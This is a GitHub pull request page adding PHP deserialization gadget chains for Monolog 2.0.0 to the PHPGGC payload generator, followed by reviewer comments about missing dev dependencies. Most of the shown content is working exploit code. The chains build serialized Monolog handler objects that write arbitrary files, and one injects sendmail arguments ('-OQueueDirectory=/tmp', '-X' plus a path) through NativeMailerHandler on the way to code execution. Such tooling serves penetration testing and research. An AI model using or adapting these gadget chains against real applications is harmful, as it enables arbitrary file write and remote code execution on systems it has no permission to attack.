-
Notifications
You must be signed in to change notification settings - Fork 511
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add some gadget chains that I had collected #160
Open
CyanM0un
wants to merge
31
commits into
ambionics:master
Choose a base branch
from
CyanM0un:master
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from 1 commit
Commits
Show all changes
31 commits
Select commit
Hold shift + click to select a range
588f026
Add files via upload
CyanM0un 1ce1c7f
Add files via upload
CyanM0un 3630abd
Add files via upload
CyanM0un 3f0af9a
Add files via upload
CyanM0un 3ad0f64
Add files via upload
CyanM0un 08292bb
Add files via upload
CyanM0un 7f83ff0
Add files via upload
CyanM0un 34c0bb4
Add files via upload
CyanM0un 23c42e0
Add files via upload
CyanM0un 97a8d4c
Add files via upload
CyanM0un 9454b85
Add files via upload
CyanM0un 1060e2e
Add files via upload
CyanM0un 470501a
Add files via upload
CyanM0un 1699fa4
Add files via upload
CyanM0un 5cc966a
Add files via upload
CyanM0un bae565e
Add files via upload
CyanM0un 8b7e46d
Add files via upload
CyanM0un b2c4f08
Add files via upload
CyanM0un f6bfa3a
Add files via upload
CyanM0un 7d47e3f
Add files via upload
CyanM0un e1115ae
Add files via upload
CyanM0un 45ba17d
Add files via upload
CyanM0un d176432
Add files via upload
CyanM0un 3f1d9de
Add files via upload
CyanM0un 6e038aa
Add files via upload
CyanM0un 7429a81
Add files via upload
CyanM0un 05aecd0
Add files via upload
CyanM0un d6df11a
Add files via upload
CyanM0un 233401e
Add files via upload
CyanM0un 041f70b
Add files via upload
CyanM0un 6df9518
Add files via upload
CyanM0un File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Monolog; | ||
|
||
class FW2 extends \PHPGGC\GadgetChain\FileWrite | ||
{ | ||
public static $version = '2.0.0'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'CyanM0un'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$path = $parameters['remote_path']; | ||
$data = $parameters['data']; | ||
|
||
return new \Monolog\Handler\GroupHandler($path, $data); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
<?php | ||
|
||
namespace Monolog\Handler | ||
{ | ||
class DeduplicationHandler | ||
{ | ||
protected $bufferSize = 1; | ||
protected $buffer; | ||
protected $deduplicationLeve=0; | ||
protected $deduplicationStore; | ||
protected $time=0; | ||
|
||
public function __construct($path, $data) | ||
{ | ||
$this->buffer = [["level"=>1,"message"=>$data,'datetime'=>new \Gelf\Message(),'level_name'=>'']]; | ||
$this->deduplicationStore = $path; | ||
} | ||
} | ||
|
||
class GroupHandler | ||
{ | ||
protected $handlers; | ||
|
||
public function __construct($path, $data) | ||
{ | ||
$this->handlers = [new DeduplicationHandler($path, $data)]; | ||
} | ||
} | ||
} | ||
|
||
namespace Gelf | ||
{ | ||
class Message | ||
{ | ||
protected $timestamp=0; | ||
|
||
public function __construct() | ||
{ | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Monolog; | ||
|
||
class FW3 extends \PHPGGC\GadgetChain\FileWrite | ||
{ | ||
public static $version = '2.0.0'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'CyanM0un'; | ||
public static $information = 'requires the sendmail and may take a while to write. https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$path = $parameters['remote_path']; | ||
$data = $parameters['data']; | ||
|
||
return new \Monolog\Handler\FingersCrossedHandler($path, $data); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
<?php | ||
|
||
namespace Monolog\Handler | ||
{ | ||
class FingersCrossedHandler | ||
{ | ||
protected $passthruLevel=0; | ||
protected $handler; | ||
protected $buffer; | ||
|
||
function __construct($path, $data) | ||
{ | ||
$this->buffer = [["level"=>1]]; | ||
$this->handler = new NativeMailerHandler($path, $data); | ||
} | ||
} | ||
|
||
class NativeMailerHandler | ||
{ | ||
protected $level=0; | ||
protected $formatter; | ||
protected $contentType='text/plain'; | ||
protected $parameters; | ||
protected $to=["[email protected]"]; | ||
protected $subject; | ||
|
||
public function __construct($path, $data) | ||
{ | ||
$this->subject = $data; | ||
$this->parameters = ['-OQueueDirectory=/tmp', '-X' . $path]; | ||
} | ||
} | ||
} | ||
|
||
namespace Monolog\Formatter | ||
{ | ||
class NormalizerFormatter | ||
{ | ||
public function __construct() | ||
{ | ||
} | ||
} | ||
} |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Gelf\Message is not present.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
again by
composer create-project monolog/monolog=2.0.0 monolog
, in fact, a class that has thegetTimestamp
method will be okThere was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same: by default,
create-projecŧ
seems to includedev
dependencies, whileinstall
does NOT.We have generally refrained from including
dev
dependencies to GCs, as they are not often included.